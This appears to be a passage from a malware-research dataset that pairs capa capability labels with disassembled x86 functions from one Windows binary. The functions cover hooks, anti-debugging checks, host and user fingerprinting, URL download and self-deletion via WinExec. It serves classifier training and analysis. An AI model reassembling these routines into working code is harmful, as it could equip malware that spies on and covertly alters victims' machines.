joyce8/EMBER2024-capa huggingface dataset:
Function at 0x474dfc
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x474fa7
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x474f88
mov dl, 1
mov eax, dword [0x419f28]
call fcn.0040495c
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.0040588c
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x474f77
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00466488
test al, al
je 0x474f6a
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x474fb8
lea eax, [ebp - 0x254]
call fcn.0040be78
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x474f6a
xor eax, eax
push ebp
push 0x474f63
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x474ff0
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x474f4c
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00405b0c
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x474f4c
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00405b0c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x474f6a
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x474e6d
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x25], 0
mov dl, 1
call fcn.0041eb2c
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x474fae
lea eax, [ebp - 0x260]
call fcn.0040588c
ret

Function at 0x475920
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x5565bc]
cmp byte [eax + 0xad], 0
jne 0x475991
cmp dword [0x5565d4], 0
jne 0x475952
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x4758dc
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x5565d4], eax
cmp dword [0x5565d0], 0
jne 0x47596d
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x5565d0], eax
cmp dword [0x5565d8], 0
jne 0x475991
push esp
push 0
push 0
push 0x475880
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread_1
mov dword [0x5565d8], eax
pop edx
ret
Function at 0x475b94
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x475bab
add esp, 0xfffffff0
call fcn.00404cb0
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00423508
mov eax, dword [0x5529a0]
cmp word [eax + 2], 0
jne 0x475bd3
mov eax, dword [0x5529a0]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004776ec
mov eax, dword [0x552b50]
cmp word [eax + 2], 0
jne 0x475bed
mov eax, dword [0x552b50]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004778f8
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x4198bc]
call fcn.0040495c
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x4198bc]
call fcn.0040495c
mov dword [ebx + 0x98], eax
mov dl, 1
mov eax, dword [0x4198bc]
call fcn.0040495c
mov dword [ebx + 0xb0], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0xa5], 1
mov byte [ebx + 0xbc], 1
mov dl, 1
mov eax, dword [0x4292b4]
call fcn.004312b0
mov esi, eax
mov dword [ebx + 0xa0], esi
push 0x475da4
mov eax, dword [0x5527b0]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00431684
mov eax, dword [ebx + 0xa0]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x477fc8
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x5527b0]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040fdd8
test eax, eax
je 0x475cf4
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.0040b454
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040fe0c
test eax, eax
je 0x475d08
mov byte [eax], 0
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_CharNextA_1
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00405b0c
mov byte [ebx + 0xd4], 0
push ebx
push 0x477234
call fcn.00424684
mov dword [ebx + 0xc8], eax
mov eax, dword [0x5524a4]
cmp byte [eax], 0
jne 0x475d59
mov eax, ebx
call fcn.00475ee8
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0xa6], 1
xor eax, eax
mov dword [ebx + 0xa8], eax
mov eax, ebx
call fcn.004781a4
mov eax, ebx
call fcn.00478d04
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x475d99
call fcn.00404d08
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x476168
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x5565bc]
cmp dword [eax + 0x30], 0
je 0x476212
cmp dword [ebx + 0x94], 0
jne 0x47620c
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x4760f8
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x47620c
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x4761d2
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x47620c
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.0041bfb8
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x4761e1
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x476f2c
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xac], 0
je 0x476f61
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.0040597c
jmp 0x476f6e
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.004058e0
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x478388
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x4783f6
mov eax, esi
call fcn.004610bc
test al, al
je 0x4783f6
mov eax, dword [ebx + 0x84]
call fcn.00460d1c
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4783f6
mov eax, dword [ebx + 0x84]
mov edx, dword [eax]
call dword [edx + 0xf0]
test al, al
je 0x4783ea
push 0
mov eax, dword [ebx + 0x84]
call fcn.00460d1c
push eax
call sub.user32.dll_ShowWindow
xor edx, edx
mov eax, dword [ebx + 0x84]
call fcn.00459104
jmp 0x4783f6
mov cl, 1
mov edx, dword [ebx + 0x74]
mov eax, ebx
call fcn.004781c4
pop esi
pop ebx
ret
Function at 0x486524
Capabilities:
Link many functions at runtime

Disassembly:
mov byte [0x54be7c], 0
mov eax, dword [0x552e3c]
cmp dword [eax], 2
jne 0x4866fd
mov eax, dword [0x5527bc]
cmp dword [eax], 5
jl 0x4866fd
call fcn.0047e140
test al, al
jne 0x486555
call fcn.0047e14c
call fcn.0047e138
mov dword [0x54be84], eax
push 0x486700
mov eax, dword [0x54be84]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x54be48], eax
cmp dword [0x54be48], 0
jne 0x4865b0
mov edx, 0x8000
mov eax, 0x486714
call fcn.00410cd0
mov dword [0x54be80], eax
mov eax, dword [0x54be80]
mov dword [0x54be84], eax
push 0x486700
mov eax, dword [0x54be84]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x54be48], eax
cmp dword [0x54be48], 0
je 0x4866f8
push 0x486720
mov eax, dword [0x54be84]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x54be4c], eax
cmp dword [0x54be4c], 0
je 0x4866f8
push 0x48672c
mov eax, dword [0x54be84]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x54be50], eax
cmp dword [0x54be50], 0
je 0x4866f8
mov byte [0x54be7c], 1
push 0x48673c
mov eax, dword [0x54be84]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x54be54], eax
push 0x486748
mov eax, dword [0x54be84]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x54be58], eax
push 0x486754
mov eax, dword [0x54be84]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x54be5c], eax
push 0x486764
mov eax, dword [0x54be84]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x54be60], eax
push 0x486774
mov eax, dword [0x54be84]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x54be64], eax
mov edx, 0x8000
mov eax, 0x48678c
call fcn.00410cd0
mov dword [0x54be88], eax
cmp dword [0x54be88], 0
je 0x4866fd
push 0x48679c
mov eax, dword [0x54be88]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x54be68], eax
push 0x4867b8
mov eax, dword [0x54be88]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x54be6c], eax
push 0x4867d8
mov eax, dword [0x54be88]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x54be70], eax
push 0x4867f4
mov eax, dword [0x54be88]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x54be74], eax
push 0x48680c
mov eax, dword [0x54be88]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x54be78], eax
ret
call fcn.004864a4
ret
Function at 0x4d0ce8
Capabilities:
Set global application hook

Disassembly:
cmp dword [0x55732c], 0
jne 0x4d0d0b
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x4d0c5c
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x55732c], eax
ret
Function at 0x4e1708
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x4e1736
mov eax, ebx
call fcn.004e21bc
cmp dword [ebx + 0x40], 0
je 0x4e172f
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x4e17a7
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x4e1799
cmp dword [ebx + 8], 0
je 0x4e1758
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x4e176a
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x4e1799
cmp dword [ebx + 8], 0
je 0x4e174b
cmp eax, 3
je 0x4e177d
dec eax
jne 0x4e174b
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x4e174b
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x4e174b
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x4e17c5
cmp dword [ebx + 0x14], 0xcc
je 0x4e17c5
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.004e17d0
pop ebx
ret
Function at 0x4f212c
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], edx
mov ebx, eax
lea eax, [ebp - 0xc]
mov edx, dword [0x408d70]
call fcn.004063e0
xor eax, eax
push ebp
push 0x4f22cd
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x54f844], 0
jne 0x4f2187
mov ecx, dword [0x5524d8]
mov dl, 1
mov eax, dword [0x40918c]
call fcn.0040ef0c
call fcn.00405200
lea eax, [ebp - 0x28]
xor ecx, ecx
mov edx, 0x10
call fcn.00403ae4
mov eax, ebx
call fcn.00406230
mov dword [ebp - 0x24], eax
mov esi, 0x4f22dc
lea edi, [ebp - 0x38]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x38]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
call fcn.004076bc
xor eax, eax
mov dword [ebp - 4], eax
mov eax, ebx
call fcn.00406240
test eax, eax
jle 0x4f2270
mov dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x48]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x4f225c
lea eax, [ebp - 0x4c]
lea edx, [ebp - 0x48]
mov ecx, 0x10
call fcn.00405b0c
mov edi, dword [ebp - 0x4c]
test edi, edi
je 0x4f2202
sub edi, 4
mov edi, dword [edi]
lea eax, [ebp - 0x50]
mov edx, ebx
call fcn.00405b24
mov esi, dword [ebp - 0x50]
test esi, esi
je 0x4f2218
sub esi, 4
mov esi, dword [esi]
push esi
lea eax, [ebp - 0x54]
mov edx, ebx
call fcn.00405b24
mov eax, dword [ebp - 0x54]
call fcn.00405d60
push eax
push edi
lea eax, [ebp - 0x58]
lea edx, [ebp - 0x48]
mov ecx, 0x10
call fcn.00405b0c
mov eax, dword [ebp - 0x58]
call fcn.00405d60
push eax
push 1
push 0x400
call sub.kernel32.dll_CompareStringA_1
sub eax, 2
test eax, eax
sete al
jmp 0x4f225e
xor eax, eax
test al, al
je 0x4f2269
mov ebx, 0x15
jmp 0x4f2275
mov ebx, 0x10
jmp 0x4f2275
mov ebx, 0x15
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 0x28]
push eax
push ebx
push 0
mov eax, dword [ebp - 0x10]
push eax
call dword [0x54f844]
call fcn.004f1fb0
mov eax, dword [ebp - 4]
call fcn.004f1fb0
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004076d4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f22d4
lea eax, [ebp - 0x58]
mov edx, 4
call fcn.004058b0
lea eax, [ebp - 0xc]
mov edx, dword [0x408d70]
call fcn.004064b0
ret
Function at 0x4f5128
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdc0
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x23c], edx
mov dword [ebp - 0x240], edx
mov dword [ebp - 4], eax
lea esi, [ebp - 0x238]
xor eax, eax
push ebp
push 0x4f52f0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov byte [eax + 9], 0
mov eax, dword [ebp - 4]
add eax, 0xa
call fcn.0040588c
mov eax, dword [ebp - 4]
add eax, 0xe
call fcn.0040588c
mov eax, dword [ebp - 4]
add eax, 0x12
call fcn.0040588c
mov eax, dword [ebp - 4]
add eax, 0x16
call fcn.0040588c
xor edx, edx
push ebp
push 0x4f52cb
push dword fs:[edx]
mov dword fs:[edx], esp
push 0
push 0
push 3
push 0
push 3
push 0
mov eax, dword [ebp - 4]
movzx eax, byte [eax + 4]
call fcn.004f50cc
mov edx, eax
lea eax, [ebp - 0x240]
call fcn.00405a74
mov ecx, dword [ebp - 0x240]
lea eax, [ebp - 0x23c]
mov edx, 0x4f5308
call fcn.00405bac
mov eax, dword [ebp - 0x23c]
call fcn.00405d60
push eax
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
mov eax, dword [ebp - 4]
mov dword [eax + 5], ebx
cmp ebx, 0xffffffff
jne 0x4f51fc
call fcn.004052ac
jmp 0x4f52d2
lea eax, [ebp - 0x14]
xor ecx, ecx
mov edx, 0xc
call fcn.00403ae4
mov eax, esi
xor ecx, ecx
mov edx, 0x224
call fcn.00403ae4
mov eax, 0x224
mov dword [esi + 4], eax
push 0
lea edx, [ebp - 8]
push edx
push eax
push esi
push 0xc
lea eax, [ebp - 0x14]
push eax
push 0x2d1400
mov eax, dword [ebp - 4]
mov eax, dword [eax + 5]
push eax
call sub.kernel32.dll_DeviceIoControl
test eax, eax
jne 0x4f5249
call fcn.00410674
mov eax, dword [esi + 0xc]
test eax, eax
je 0x4f5260
lea ebx, [esi + eax]
mov eax, dword [ebp - 4]
add eax, 0x16
mov edx, ebx
call fcn.00405a94
mov eax, dword [esi + 0x10]
test eax, eax
je 0x4f5277
lea ebx, [esi + eax]
mov eax, dword [ebp - 4]
add eax, 0xe
mov edx, ebx
call fcn.00405a94
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4f528e
lea ebx, [esi + eax]
mov eax, dword [ebp - 4]
add eax, 0xa
mov edx, ebx
call fcn.00405a94
mov eax, dword [esi + 0x18]
test eax, eax
je 0x4f52a5
lea ebx, [esi + eax]
mov eax, dword [ebp - 4]
add eax, 0x12
mov edx, ebx
call fcn.00405a94
mov eax, dword [ebp - 4]
mov byte [eax + 9], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f52d2
mov eax, dword [ebp - 4]
mov eax, dword [eax + 5]
cmp eax, 0xffffffff
je 0x4f52ca
push eax
call sub.kernel32.dll_CloseHandle_1
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f52f7
lea eax, [ebp - 0x240]
mov edx, 2
call fcn.004058b0
ret

Function at 0x4f6414
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, eax
mov dword [ebp - 4], pe_nt_image_headers32
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x104]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x4f644f
mov eax, ebx
lea edx, [ebp - 0x104]
mov ecx, pe_nt_image_headers32
call fcn.00405b0c
jmp 0x4f6456
mov eax, ebx
call fcn.0040588c
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4f645c
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4f64df
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xff
lea eax, [ebp - 4]
mov edx, dword [ebp - 8]
call fcn.00405fe8
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
call fcn.00405d60
push eax
call sub.advapi32.dll_GetUserNameA
test eax, eax
je 0x4f64bd
push ebx
mov ecx, dword [ebp - 8]
sub ecx, 1
jae 0x4f64ae
call fcn.0040485c
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405dc0
jmp 0x4f64c9
mov eax, ebx
mov edx, 0x4f64f4
call fcn.004058e0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f64e6
lea eax, [ebp - 4]
call fcn.0040588c
ret

Function at 0x4f70d0
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov byte [ebp - 9], cl
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405d50
mov eax, dword [ebp - 8]
call fcn.00405d50
xor eax, eax
push ebp
push 0x4f71eb
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [ebp - 9], 0
je 0x4f7137
xor ecx, ecx
mov dl, 1
mov eax, dword [0x4f532c]
call fcn.0046e800
mov edx, dword [0x5525f4]
mov dword [edx], eax
mov eax, dword [0x5525f4]
mov eax, dword [eax]
call fcn.00473990
mov dl, 1
mov eax, dword [0x4f55a0]
call fcn.0040495c
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
call fcn.00405d60
mov ebx, eax
push ebx
call sub.wininet.dll_DeleteUrlCacheEntry
xor eax, eax
push ebp
push 0x4f71a8
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [ebp - 9], 0
je 0x4f7182
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x4f7165
sub eax, 0xfffffffc
push eax
push 1
mov eax, dword [ebp - 8]
call fcn.00405d60
push eax
push ebx
push 0
call sub.URLMON.DLL_URLDownloadToFileA
test eax, eax
sete al
mov ebx, eax
jmp 0x4f719e
push 0
push 1
mov eax, dword [ebp - 8]
call fcn.00405d60
push eax
push ebx
push 0
call sub.URLMON.DLL_URLDownloadToFileA
test eax, eax
sete al
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4f71b4
cmp byte [ebp - 9], 0
je 0x4f71d0
mov eax, dword [0x5525f4]
mov eax, dword [eax]
mov dl, 1
mov ecx, dword [eax]
call dword [ecx - 4]
mov eax, dword [ebp - 0x10]
call fcn.0040498c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f71f2
lea eax, [ebp - 8]
mov edx, 2
call fcn.004058b0
ret
Function at 0x4f724c
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe90
xor edx, edx
mov dword [ebp - 0x170], edx
mov dword [ebp - 0x16c], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405d50
lea eax, [ebp - 0x168]
mov edx, dword [0x40916c]
call fcn.004063e0
xor eax, eax
push ebp
push 0x4f7386
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x16c]
mov ecx, 0x4f739c
mov edx, dword [ebp - 4]
call fcn.00405bac
mov eax, dword [ebp - 0x16c]
lea ecx, [ebp - 0x168]
mov edx, 0x3f
call fcn.0040aef8
test eax, eax
jne 0x4f72ee
test byte [ebp - 0x158], 0x10
jne 0x4f72d4
mov eax, dword [ebp - 0x154]
call fcn.00405d60
push eax
call sub.kernel32.dll_DeleteFileA
lea eax, [ebp - 0x168]
call fcn.0040af48
test eax, eax
je 0x4f72ba
lea eax, [ebp - 0x168]
call fcn.0040af6c
lea eax, [ebp - 0x170]
mov ecx, 0x4f73ac
mov edx, dword [ebp - 4]
call fcn.00405bac
mov eax, dword [ebp - 0x170]
lea ecx, [ebp - 0x168]
mov edx, 0x3f
call fcn.0040aef8
test eax, eax
jne 0x4f734f
test byte [ebp - 0x158], 0x10
jne 0x4f7335
mov eax, dword [ebp - 0x154]
call fcn.00405d60
push eax
call sub.kernel32.dll_DeleteFileA
lea eax, [ebp - 0x168]
call fcn.0040af48
test eax, eax
je 0x4f731b
lea eax, [ebp - 0x168]
call fcn.0040af6c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f738d
lea eax, [ebp - 0x170]
mov edx, 2
call fcn.004058b0
lea eax, [ebp - 0x168]
mov edx, dword [0x40916c]
call fcn.004064b0
lea eax, [ebp - 4]
call fcn.0040588c
ret
Function at 0x4f748c
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, 8
push 0
push 0
dec ecx
jne 0x4f7495
push ecx
xchg dword [ebp - 4], ecx
push ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405d50
mov eax, dword [ebp - 8]
call fcn.00405d50
mov eax, dword [ebp - 0xc]
call fcn.00405d50
xor eax, eax
push ebp
push 0x4f76a4
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x18]
call fcn.004f71fc
mov eax, dword [ebp - 0x18]
call fcn.004f724c
lea edx, [ebp - 0x10]
mov eax, 0x4f76b8
call fcn.004f73e8
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.004031e8
mov eax, dword [ebp - 0x1c]
xor edx, edx
call fcn.0040ae4c
mov dl, 1
mov eax, dword [0x419f28]
call fcn.0040495c
mov dword [ebp - 0x14], eax
xor eax, eax
push ebp
push 0x4f7664
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x4f76c8
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4f76d8
lea edx, [ebp - 0x24]
xor eax, eax
call fcn.004031e8
push dword [ebp - 0x24]
push 0x4f76ec
push dword [ebp - 0xc]
lea eax, [ebp - 0x20]
mov edx, 4
call fcn.00405c20
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4f76f8
lea edx, [ebp - 0x2c]
xor eax, eax
call fcn.004031e8
push dword [ebp - 0x2c]
push 0x4f770c
lea eax, [ebp - 0x28]
mov edx, 3
call fcn.00405c20
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4f76d8
push dword [ebp - 4]
push 0x4f76ec
push dword [ebp - 8]
lea eax, [ebp - 0x30]
mov edx, 4
call fcn.00405c20
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea edx, [ebp - 0x34]
xor eax, eax
call fcn.004031e8
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4f7724
lea edx, [ebp - 0x40]
xor eax, eax
call fcn.004031e8
mov eax, dword [ebp - 0x40]
lea edx, [ebp - 0x3c]
call fcn.0040b0bc
push dword [ebp - 0x3c]
push 0x4f7734
lea eax, [ebp - 0x38]
mov edx, 3
call fcn.00405c20
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea eax, [ebp - 0x44]
mov ecx, dword [ebp - 0x10]
mov edx, 0x4f7740
call fcn.00405bac
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
call dword [ecx + 0x74]
lea eax, [ebp - 0x48]
call fcn.004f73b4
mov eax, dword [ebp - 0x48]
call fcn.00402f5c
call fcn.00402f20
push 0
mov eax, dword [ebp - 0x10]
call fcn.00405d60
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f766b
mov eax, dword [ebp - 0x14]
call fcn.0040498c
ret